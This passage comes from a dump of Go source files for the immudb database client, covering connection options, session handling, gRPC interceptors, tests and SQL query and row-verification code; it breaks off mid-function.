data chunk in bytes for streaming operations (directly affects maximum GRPC packet size)\n\n\tHeartBeatFrequency time.Duration // Duration between two consecutive heartbeat calls to the server for session heartbeats\n\n\tDisableIdentityCheck bool // Do not validate server's identity\n}\n\n// DefaultOptions ...\nfunc DefaultOptions() *Options {\n\treturn &Options{\n\t\tDir:                  \".\",\n\t\tAddress:              \"127.0.0.1\",\n\t\tPort:                 3322,\n\t\tHealthCheckRetries:   5,\n\t\tMTLs:                 false,\n\t\tAuth:                 true,\n\t\tMaxRecvMsgSize:       4 * 1024 * 1024, //4Mb\n\t\tConfig:               \"configs/immuclient.toml\",\n\t\tDialOptions:          []grpc.DialOption{grpc.WithTransportCredentials(insecure.NewCredentials())},\n\t\tPasswordReader:       c.DefaultPasswordReader,\n\t\tMetrics:              true,\n\t\tPidPath:              \"\",\n\t\tLogFileName:          \"\",\n\t\tServerSigningPubKey:  \"\",\n\t\tStreamChunkSize:      stream.DefaultChunkSize,\n\t\tHeartBeatFrequency:   time.Minute * 1,\n\t\tDisableIdentityCheck: false,\n\t}\n}\n\n// WithLogFileName set log file name\nfunc (o *Options) WithLogFileName(filename string) *Options {\n\to.LogFileName = filename\n\treturn o\n}\n\n// WithPidPath set pid file path\nfunc (o *Options) WithPidPath(path string) *Options {\n\to.PidPath = path\n\treturn o\n}\n\n// WithMetrics set if metrics should start\nfunc (o *Options) WithMetrics(start bool) *Options {\n\to.Metrics = start\n\treturn o\n}\n\n// WithDir sets program file folder\nfunc (o *Options) WithDir(dir string) *Options {\n\to.Dir = dir\n\treturn o\n}\n\n// WithAddress sets address\nfunc (o *Options) WithAddress(address string) *Options {\n\to.Address = address\n\treturn o\n}\n\n// WithPort sets port\nfunc (o *Options) WithPort(port int) *Options {\n\tif port > 0 {\n\t\to.Port = port\n\t}\n\treturn o\n}\n\n// WithHealthCheckRetries sets health check retries\nfunc (o *Options) WithHealthCheckRetries(retries int) *Options {\n\to.HealthCheckRetries = retries\n\treturn o\n}\n\n// WithMTLs activate/deactivate MTLs\nfunc (o *Options) WithMTLs(MTLs bool) *Options {\n\to.MTLs = MTLs\n\treturn o\n}\n\n// WithAuth activate/deactivate auth\nfunc (o *Options) WithAuth(authEnabled bool) *Options {\n\to.Auth = authEnabled\n\treturn o\n}\n\n// MaxRecvMsgSize max recv msg size in bytes\nfunc (o *Options) WithMaxRecvMsgSize(maxRecvMsgSize int) *Options {\n\to.MaxRecvMsgSize = maxRecvMsgSize\n\treturn o\n}\n\n// WithConfig sets config file name\nfunc (o *Options) WithConfig(config string) *Options {\n\to.Config = config\n\treturn o\n}\n\n// WithTokenFileName sets token file name\nfunc (o *Options) WithTokenFileName(tokenFileName string) *Options {\n\to.TokenFileName = tokenFileName\n\treturn o\n}\n\n// WithMTLsOptions sets MTLsOptions\nfunc (o *Options) WithMTLsOptions(MTLsOptions MTLsOptions) *Options {\n\to.MTLsOptions = MTLsOptions\n\treturn o\n}\n\n// WithDialOptions sets dialOptions\nfunc (o *Options) WithDialOptions(dialOptions []grpc.DialOption) *Options {\n\to.DialOptions = dialOptions\n\treturn o\n}\n\n// Bind concatenates address and port\nfunc (o *Options) Bind() string {\n\treturn o.Address + \":\" + strconv.Itoa(o.Port)\n}\n\n// Identity returns server's identity\nfunc (o *Options) ServerIdentity() string {\n\treturn o.Bind()\n}\n\n// WithPasswordReader sets the password reader for the client\nfunc (o *Options) WithPasswordReader(pr c.PasswordReader) *Options {\n\to.PasswordReader = pr\n\treturn o\n}\n\n// WithUsername sets the username for the client\nfunc (o *Options) WithUsername(username string) *Options {\n\to.Username = username\n\treturn o\n}\n\n// WithPassword sets the password for the client\nfunc (o *Options) WithPassword(password string) *Options {\n\to.Password = password\n\treturn o\n}\n\n// WithDatabase sets the database for the client\nfunc (o *Options) WithDatabase(database string) *Options {\n\to.Database = database\n\treturn o\n}\n\n// WithServerSigningPubKey sets the public key. If presents server state signature verification is enabled\nfunc (o *Options) WithServerSigningPubKey(serverSigningPubKey string) *Options {\n\to.ServerSigningPubKey = serverSigningPubKey\n\treturn o\n}\n\n// WithStreamChunkSize set the chunk size\nfunc (o *Options) WithStreamChunkSize(streamChunkSize int) *Options {\n\to.StreamChunkSize = streamChunkSize\n\treturn o\n}\n\n// WithHeartBeatFrequency set the keep alive message frequency\nfunc (o *Options) WithHeartBeatFrequency(heartBeatFrequency time.Duration) *Options {\n\to.HeartBeatFrequency = heartBeatFrequency\n\treturn o\n}\n\n// WithDisableIdentityCheck disables or enables server identity check.\n//\n// Each server identifies itself with a unique UUID which along with the database name\n// is used to identify a particular immudb database instance. This UUID+database name tuple\n// is then used to select appropriate state value stored on the client side to do proof verifications.\n//\n// Identity check is responsible for ensuring that the server with given identity\n// (which is currently the \"host:port\" string) must always present with the same UUID.\n//\n// Disabling this check means that the server can present different UUID.\nfunc (o *Options) WithDisableIdentityCheck(disableIdentityCheck bool) *Options {\n\to.DisableIdentityCheck = disableIdentityCheck\n\treturn o\n}\n\n// String converts options object to a json string\nfunc (o *Options) String() string {\n\toptionsJSON, err := json.Marshal(o)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\treturn string(optionsJSON)\n}\n"
  },
  {
    "path": "pkg/client/options_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestOptions(t *testing.T) {\n\tmtlsOpts := DefaultMTLsOptions().\n\t\tWithServername(\"localhost\").\n\t\tWithCertificate(\"no-certificate\").\n\t\tWithClientCAs(\"no-client-ca\").\n\t\tWithPkey(\"no-pkey\")\n\n\top := DefaultOptions().WithLogFileName(\"logfilename\").\n\t\tWithPidPath(\"pidpath\").\n\t\tWithMetrics(true).\n\t\tWithDir(\"clientdir\").\n\t\tWithAddress(\"127.0.0.1\").\n\t\tWithPort(4321).\n\t\tWithHealthCheckRetries(3).\n\t\tWithMTLs(true).\n\t\tWithMTLsOptions(mtlsOpts).\n\t\tWithAuth(true).\n\t\tWithMaxRecvMsgSize(1 << 20).\n\t\tWithConfig(\"configfile\").\n\t\tWithTokenFileName(\"tokenfile\").\n\t\tWithUsername(\"some-username\").\n\t\tWithPassword(\"some-password\").\n\t\tWithDatabase(\"some-db\").\n\t\tWithStreamChunkSize(4096).\n\t\tWithDisableIdentityCheck(true)\n\n\trequire.Equal(t, op.LogFileName, \"logfilename\")\n\trequire.Equal(t, op.PidPath, \"pidpath\")\n\trequire.True(t, op.Metrics)\n\trequire.Equal(t, op.Dir, \"clientdir\")\n\trequire.Equal(t, op.Address, \"127.0.0.1\")\n\trequire.Equal(t, op.Port, 4321)\n\trequire.Equal(t, op.HealthCheckRetries, 3)\n\trequire.True(t, op.MTLs)\n\trequire.Equal(t, op.MTLsOptions.Servername, \"localhost\")\n\trequire.Equal(t, op.MTLsOptions.Certificate, \"no-certificate\")\n\trequire.Equal(t, op.MTLsOptions.ClientCAs, \"no-client-ca\")\n\trequire.Equal(t, op.MTLsOptions.Pkey, \"no-pkey\")\n\trequire.True(t, op.Auth)\n\trequire.Equal(t, op.MaxRecvMsgSize, 1<<20)\n\trequire.Equal(t, op.Config, \"configfile\")\n\trequire.Equal(t, op.TokenFileName, \"tokenfile\")\n\trequire.Equal(t, op.Username, \"some-username\")\n\trequire.Equal(t, op.Password, \"some-password\")\n\trequire.Equal(t, op.Database, \"some-db\")\n\trequire.Equal(t, op.StreamChunkSize, 4096)\n\trequire.True(t, op.DisableIdentityCheck)\n\trequire.Equal(t, op.Bind(), \"127.0.0.1:4321\")\n\trequire.NotEmpty(t, op.String())\n\n}\n"
  },
  {
    "path": "pkg/client/session.go",
    "content": "package client\n\nimport (\n\t\"context\"\n\t\"fmt\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client/cache\"\n\t\"github.com/codenotary/immudb/pkg/client/errors\"\n\t\"github.com/codenotary/immudb/pkg/client/state\"\n\t\"github.com/codenotary/immudb/pkg/signer\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"google.golang.org/grpc\"\n)\n\n// OpenSession establishes a new session with the server, this method also opens new\n// connection to the server.\n//\n// Note: it is important to call CloseSession() once the session is no longer needed.\nfunc (c *immuClient) OpenSession(ctx context.Context, user []byte, pass []byte, database string) (err error) {\n\tif c.IsConnected() {\n\t\treturn errors.FromError(ErrSessionAlreadyOpen)\n\t}\n\n\tif c.Options.ServerSigningPubKey != \"\" {\n\t\tpk, e := signer.ParsePublicKeyFile(c.Options.ServerSigningPubKey)\n\t\tif e != nil {\n\t\t\treturn e\n\t\t}\n\t\tc.WithServerSigningPubKey(pk)\n\t}\n\n\tif c.Options.StreamChunkSize < stream.MinChunkSize {\n\t\treturn errors.New(stream.ErrChunkTooSmall).WithCode(errors.CodInvalidParameterValue)\n\t}\n\n\tdialOptions := c.SetupDialOptions(c.Options)\n\n\tclientConn, err := grpc.Dial(c.Options.Bind(), dialOptions...)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\t_ = clientConn.Close()\n\t\t}\n\t}()\n\n\tserviceClient := schema.NewImmuServiceClient(clientConn)\n\tresp, err := serviceClient.OpenSession(ctx, &schema.OpenSessionRequest{\n\t\tUsername:     user,\n\t\tPassword:     pass,\n\t\tDatabaseName: database,\n\t})\n\tif err != nil {\n\t\treturn errors.FromError(err)\n\t}\n\tdefer func() {\n\t\tif err != nil {\n\t\t\t_, _ = serviceClient.CloseSession(ctx, new(empty.Empty))\n\t\t}\n\t}()\n\n\tstateCache := cache.NewFileCache(c.Options.Dir)\n\tstateProvider := state.NewStateProvider(serviceClient)\n\n\tstateService, err := state.NewStateServiceWithUUID(stateCache, c.Logger, stateProvider, resp.GetServerUUID())\n\tif err != nil {\n\t\treturn errors.FromError(fmt.Errorf(\"unable to create state service: %v\", err))\n\t}\n\n\tif !c.Options.DisableIdentityCheck {\n\t\tstateService.SetServerIdentity(c.getServerIdentity())\n\t}\n\n\tc.clientConn = clientConn\n\tc.ServiceClient = serviceClient\n\tc.Options.DialOptions = dialOptions\n\tc.SessionID = resp.GetSessionID()\n\n\tc.HeartBeater = NewHeartBeater(c.SessionID, c.ServiceClient, c.Options.HeartBeatFrequency, c.errorHandler, c.Logger)\n\tc.HeartBeater.KeepAlive(context.Background())\n\n\tc.WithStateService(stateService)\n\n\tc.Options.CurrentDatabase = database\n\n\treturn nil\n}\n\n// CloseSession closes the current session and the connection to the server,\n// this call also allows the server to free up all resources allocated for a session\n// (without explicit call, the server will only free resources after session inactivity timeout).\nfunc (c *immuClient) CloseSession(ctx context.Context) error {\n\tif !c.IsConnected() {\n\t\treturn errors.FromError(ErrNotConnected)\n\t}\n\n\tdefer func() {\n\t\tc.SessionID = \"\"\n\t\tc.clientConn = nil\n\t\tc.ServiceClient = nil\n\t\tc.StateService = nil\n\t\tc.serverSigningPubKey = nil\n\t\tc.HeartBeater = nil\n\t}()\n\n\tc.HeartBeater.Stop()\n\n\tdefer c.clientConn.Close()\n\n\t_, err := c.ServiceClient.CloseSession(ctx, new(empty.Empty))\n\tif err != nil {\n\t\treturn errors.FromError(err)\n\t}\n\n\treturn nil\n}\n\n// GetSessionID returns the current internal session identifier.\nfunc (c *immuClient) GetSessionID() string {\n\treturn c.SessionID\n}\n"
  },
  {
    "path": "pkg/client/session_id_injector_interceptor.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"context\"\n\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/metadata\"\n)\n\n// SessionIDInjectorInterceptor is a gRPC interceptor that inject sessionID into the outgoing context\nfunc (c *immuClient) SessionIDInjectorInterceptor(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error {\n\tctx = c.populateCtx(ctx)\n\tris := invoker(ctx, method, req, reply, cc, opts...)\n\treturn ris\n}\n\n// SessionIDInjectorInterceptor is a gRPC stream interceptor that inject sessionID into the outgoing context\nfunc (c *immuClient) SessionIDInjectorStreamInterceptor(ctx context.Context, desc *grpc.StreamDesc, cc *grpc.ClientConn, method string, streamer grpc.Streamer, opts ...grpc.CallOption) (grpc.ClientStream, error) {\n\tctx = c.populateCtx(ctx)\n\treturn streamer(ctx, desc, cc, method, opts...)\n}\n\nfunc (c *immuClient) populateCtx(ctx context.Context) context.Context {\n\tif c.GetSessionID() != \"\" {\n\t\tctx = metadata.AppendToOutgoingContext(ctx, \"sessionid\", c.GetSessionID())\n\t}\n\treturn ctx\n}\n"
  },
  {
    "path": "pkg/client/session_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"context\"\n\t\"net\"\n\t\"syscall\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n\t\"github.com/golang/protobuf/ptypes/empty\"\n\t\"github.com/stretchr/testify/require\"\n\t\"google.golang.org/grpc\"\n)\n\nfunc TestImmuClient_OpenSession_ErrParsingKey(t *testing.T) {\n\tc := NewClient().WithOptions(DefaultOptions().WithServerSigningPubKey(\"invalid\"))\n\terr := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.ErrorIs(t, err, syscall.ENOENT)\n}\n\nfunc TestImmuClient_OpenSession_ErrDefaultChunkTooSmall(t *testing.T) {\n\tc := NewClient().WithOptions(DefaultOptions().WithStreamChunkSize(1))\n\terr := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.ErrorContains(t, err, stream.ErrChunkTooSmall)\n}\n\nfunc TestImmuClient_OpenSession_DialError(t *testing.T) {\n\tc := NewClient().WithOptions(DefaultOptions().WithDialOptions([]grpc.DialOption{grpc.WithContextDialer(func(context.Context, string) (net.Conn, error) {\n\t\treturn nil, syscall.ECONNREFUSED\n\t})}))\n\terr := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.Error(t, err)\n}\n\nfunc TestImmuClient_OpenSession_OpenSessionError(t *testing.T) {\n\tc := NewClient()\n\terr := c.OpenSession(context.Background(), nil, nil, \"\")\n\trequire.Error(t, err)\n}\n\nfunc TestImmuClient_OpenSession_OpenAndCloseSessionAfterError_AvoidPanic(t *testing.T) {\n\tc := NewClient()\n\terr := c.OpenSession(context.Background(), nil, nil, \"\")\n\trequire.Error(t, err)\n\t// try open session again\n\terr = c.OpenSession(context.Background(), nil, nil, \"\")\n\trequire.NotErrorIs(t, err, ErrSessionAlreadyOpen)\n\t// close over not open session\n\terr = c.CloseSession(context.Background())\n\trequire.NotErrorIs(t, err, ErrSessionAlreadyOpen)\n}\n\nfunc TestImmuClient_OpenSession_StateServiceError(t *testing.T) {\n\tc := NewClient().WithOptions(DefaultOptions().WithDir(\"false\"))\n\tc.ServiceClient = &immuServiceClientMock{\n\t\tOpenSessionF: func(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error) {\n\t\t\treturn &schema.OpenSessionResponse{\n\t\t\t\tSessionID: \"test\",\n\t\t\t}, nil\n\t\t},\n\t\tKeepAliveF: func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) {\n\t\t\treturn new(empty.Empty), nil\n\t\t},\n\t}\n\terr := c.OpenSession(context.Background(), []byte(`immudb`), []byte(`immudb`), \"defaultdb\")\n\trequire.Error(t, err)\n}\n\ntype immuServiceClientMock struct {\n\tschema.ImmuServiceClient\n\tOpenSessionF func(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error)\n\tKeepAliveF   func(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error)\n\tTruncateF    func(ctx context.Context, in *schema.TruncateDatabaseRequest, opts ...grpc.CallOption) (*schema.TruncateDatabaseResponse, error)\n}\n\nfunc (icm *immuServiceClientMock) OpenSession(ctx context.Context, in *schema.OpenSessionRequest, opts ...grpc.CallOption) (*schema.OpenSessionResponse, error) {\n\treturn icm.OpenSessionF(ctx, in, opts...)\n}\n\nfunc (icm *immuServiceClientMock) KeepAlive(ctx context.Context, in *empty.Empty, opts ...grpc.CallOption) (*empty.Empty, error) {\n\treturn icm.KeepAliveF(ctx, in, opts...)\n}\n\nfunc (icm *immuServiceClientMock) TruncateDatabase(ctx context.Context, in *schema.TruncateDatabaseRequest, opts ...grpc.CallOption) (*schema.TruncateDatabaseResponse, error) {\n\treturn icm.TruncateF(ctx, in, opts...)\n}\n"
  },
  {
    "path": "pkg/client/signature_verifier_interceptor.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"context\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"google.golang.org/grpc\"\n\t\"google.golang.org/grpc/codes\"\n\t\"google.golang.org/grpc/status\"\n)\n\n// SignatureVerifierInterceptor verify that provided server signature match with the public key provided\nfunc (c *immuClient) SignatureVerifierInterceptor(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error {\n\tris := invoker(ctx, method, req, reply, cc, opts...)\n\tif c.serverSigningPubKey == nil {\n\t\treturn status.Error(codes.FailedPrecondition, \"public key not loaded\")\n\t}\n\tif method == \"/immudb.schema.ImmuService/CurrentState\" {\n\t\tstate := reply.(*schema.ImmutableState)\n\t\terr := state.CheckSignature(c.serverSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn status.Errorf(codes.InvalidArgument, \"unable to verify signature: %s\", err)\n\t\t}\n\t}\n\treturn ris\n}\n"
  },
  {
    "path": "pkg/client/sql.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage client\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"crypto/sha256\"\n\t\"encoding/binary\"\n\t\"io\"\n\n\t\"github.com/codenotary/immudb/pkg/client/errors\"\n\n\t\"github.com/codenotary/immudb/embedded/sql\"\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"google.golang.org/protobuf/types/known/emptypb\"\n)\n\nconst SQLPrefix byte = 2\n\n// SQLExec performs a modifying SQL query within the transaction.\n// Such query does not return SQL result.\nfunc (c *immuClient) SQLExec(ctx context.Context, sql string, params map[string]interface{}) (*schema.SQLExecResult, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tnamedParams, err := schema.EncodeParams(params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn c.ServiceClient.SQLExec(ctx, &schema.SQLExecRequest{Sql: sql, Params: namedParams})\n}\n\n// SQLQuery performs a query (read-only) operation.\n//\n// Deprecated: Use method SQLQueryReader instead.\n//\n// The renewSnapshot parameter is deprecated and is ignored by the server.\nfunc (c *immuClient) SQLQuery(ctx context.Context, sql string, params map[string]interface{}, renewSnapshot bool) (*schema.SQLQueryResult, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstream, err := c.sqlQuery(ctx, sql, params, false)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tres, err := stream.Recv()\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\n\tif _, err := stream.Recv(); err != io.EOF {\n\t\treturn res, errors.FromError(err)\n\t}\n\treturn res, nil\n}\n\n// SQLQueryReader submits an SQL query to the server and returns a reader object for efficient retrieval of all rows in the result set.\nfunc (c *immuClient) SQLQueryReader(ctx context.Context, sql string, params map[string]interface{}) (SQLQueryRowReader, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tstream, err := c.sqlQuery(ctx, sql, params, true)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\treturn newSQLQueryRowReader(stream)\n}\n\nfunc (c *immuClient) sqlQuery(ctx context.Context, sql string, params map[string]interface{}, acceptStream bool) (schema.ImmuService_SQLQueryClient, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\n\tnamedParams, err := schema.EncodeParams(params)\n\tif err != nil {\n\t\treturn nil, errors.FromError(err)\n\t}\n\n\tstream, err := c.ServiceClient.SQLQuery(ctx, &schema.SQLQueryRequest{Sql: sql, Params: namedParams, AcceptStream: acceptStream})\n\treturn stream, errors.FromError(err)\n}\n\n// ListTables returns a list of SQL tables.\nfunc (c *immuClient) ListTables(ctx context.Context) (*schema.SQLQueryResult, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.ListTables(ctx, &emptypb.Empty{})\n}\n\n// Describe table returns a description of a table structure.\nfunc (c *immuClient) DescribeTable(ctx context.Context, tableName string) (*schema.SQLQueryResult, error) {\n\tif !c.IsConnected() {\n\t\treturn nil, errors.FromError(ErrNotConnected)\n\t}\n\treturn c.ServiceClient.DescribeTable(ctx, &schema.Table{TableName: tableName})\n}\n\n// VerifyRow reads a single row from the database with additional validation of server-provided proof.\n//\n// The row parameter should contain row from a single table, either returned from\n// query or manually assembled. The table parameter contains the name of the table\n// where the row comes from. The pkVals argument is an array containing values for\n// the primary key of the row. The row parameter does not have to contain all\n// columns of the table. Once the row itself is verified, only those columns that\n// are in the row will be compared against the verified row retrieved from the database.\nfunc (c *immuClient) VerifyRow(ctx context.Context, row *schema.Row, table string, pkVals []*schema.SQLValue) error {\n\tif row == nil || len(table) == 0 || len(pkVals) == 0 {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tif len(row.Columns) == 0 || len(row.Columns) != len(row.Values) {\n\t\treturn sql.ErrCorruptedData\n\t}\n\n\tif !c.IsConnected() {\n\t\treturn ErrNotConnected\n\t}\n\n\terr := c.StateService.CacheLock()\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer c.StateService.CacheUnlock()\n\n\tstate, err := c.StateService.GetState(ctx, c.currentDatabase())\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tvEntry, err := c.ServiceClient.VerifiableSQLGet(ctx, &schema.VerifiableSQLGetRequest{\n\t\tSqlGetRequest: &schema.SQLGetRequest{Table: table, PkValues: pkVals},\n\t\tProveSinceTx:  state.TxId,\n\t})\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif len(vEntry.PKIDs) < len(pkVals) {\n\t\treturn ErrIllegalArguments\n\t}\n\n\tentrySpecDigest, err := store.EntrySpecDigestFor(int(vEntry.VerifiableTx.Tx.Header.Version))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tinclusionProof := schema.InclusionProofFromProto(vEntry.InclusionProof)\n\tdualProof := schema.DualProofFromProto(vEntry.VerifiableTx.DualProof)\n\n\tvar eh [sha256.Size]byte\n\n\tvar sourceID, targetID uint64\n\tvar sourceAlh, targetAlh [sha256.Size]byte\n\n\tvTx := vEntry.SqlEntry.Tx\n\n\tdbID := vEntry.DatabaseId\n\ttableID := vEntry.TableId\n\n\tvalbuf := bytes.Buffer{}\n\n\tfor i, pkVal := range pkVals {\n\t\tpkID := vEntry.PKIDs[i]\n\n\t\tpkType, ok := vEntry.ColTypesById[pkID]\n\t\tif !ok {\n\t\t\treturn sql.ErrCorruptedData\n\t\t}\n\n\t\tpkLen, ok := vEntry.ColLenById[pkID]\n\t\tif !ok {\n\t\t\treturn sql.ErrCorruptedData\n\t\t}\n\n\t\tpkEncVal, _, err := sql.EncodeRawValueAsKey(schema.RawValue(pkVal), pkType, int(pkLen))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\t_, err = valbuf.Write(pkEncVal)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tpkKey := sql.MapKey(\n\t\t[]byte{SQLPrefix},\n\t\tsql.RowPrefix,\n\t\tsql.EncodeID(dbID),\n\t\tsql.EncodeID(tableID),\n\t\tsql.EncodeID(sql.PKIndexID),\n\t\tvalbuf.Bytes())\n\n\tdecodedRow, err := decodeRow(vEntry.SqlEntry.Value, vEntry.ColTypesById, vEntry.MaxColId)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = verifyRowAgainst(row, decodedRow, vEntry.ColIdsByName)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\te := &store.EntrySpec{Key: pkKey, Value: vEntry.SqlEntry.Value}\n\n\tif state.TxId <= vTx {\n\t\teh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.TargetTxHeader.EH)\n\n\t\tsourceID = state.TxId\n\t\tsourceAlh = schema.DigestFromProto(state.TxHash)\n\t\ttargetID = vTx\n\t\ttargetAlh = dualProof.TargetTxHeader.Alh()\n\t} else {\n\t\teh = schema.DigestFromProto(vEntry.VerifiableTx.DualProof.SourceTxHeader.EH)\n\n\t\tsourceID = vTx\n\t\tsourceAlh = dualProof.SourceTxHeader.Alh()\n\t\ttargetID = state.TxId\n\t\ttargetAlh = schema.DigestFromProto(state.TxHash)\n\t}\n\n\tverifies := store.VerifyInclusion(\n\t\tinclusionProof,\n\t\tentrySpecDigest(e),\n\t\teh)\n\tif !verifies {\n\t\treturn store.ErrCorruptedData\n\t}\n\n\tif state.TxId > 0 {\n\t\terr := c.verifyDualProof(\n\t\t\tctx,\n\t\t\tdualProof,\n\t\t\tsourceID,\n\t\t\ttargetID,\n\t\t\tsourceAlh,\n\t\t\ttargetAlh,\n\t\t)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tnewState := &schema.ImmutableState{\n\t\tDb:        c.currentDatabase(),\n\t\tTxId:      targetID,\n\t\tTxHash:    targetAlh[:],\n\t\tSignature: vEntry.VerifiableTx.Signature,\n\t}\n\n\tif c.serverSigningPubKey != nil {\n\t\terr := newState.CheckSignature(c.serverSigningPubKey)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\terr = c.StateService.SetState(c.currentDatabase(), newState)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n\nfunc verifyRowAgainst(row *schema.Row, decodedRow map[uint32]*schema.SQLValue, colIdsByName map[string]uint32) error {\n\tfor i, colName := range row.Columns {\n\t\tcolID, ok := colIdsByName[colName]\n\t\tif !ok {\n\t\t\treturn sql.ErrColumnDoesNotExist\n\t\t}\n\n\t\tval := row.Values[i]\n\n\t\tif val == nil || val.Value == nil {\n\t\t\treturn sql.ErrCorruptedData\n\t\t}\n\n\t\tdecodedVal, ok := decodedRow[colID]\n\t\tif !ok {\n\t\t\t_, isNull := val.Value.(*schema.SQLValue_Null)\n\t\t\tif isNull {\n\t\t\t\tcontinue\n\t\t\t}\n\t\t\treturn sql.ErrCorruptedData\n\t\t}\n\n\t\tif decodedVal == nil || decodedVal.Value == nil {\n\t\t\treturn sql.ErrCorruptedData\n\t\t}\n\n\t\tequals, err := val.Value.(schema.SqlValue).Equal(decodedVal.Value.(schema.SqlValue))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tif !equals {\n\t\t\treturn sql.ErrCorruptedData\n\t\t}\n\t}\n\n\treturn nil\n}\n\nfunc decodeRow(encodedRow []byte, colTypes map[uint32]sql.SQLValueType, maxColID uint32) (map[uint32]*schema.SQLValue, error) {\n\toff := 0\n\n\tif len(encodedRow) < off+sql.EncLenLen {\n\t\treturn nil, sql.ErrCorruptedData\n\t}\n\n\tcolsCount := binary.BigEndian.Uint32(encodedRow[off:])\n\toff += sql.EncLenLen\n\n\tvalues := 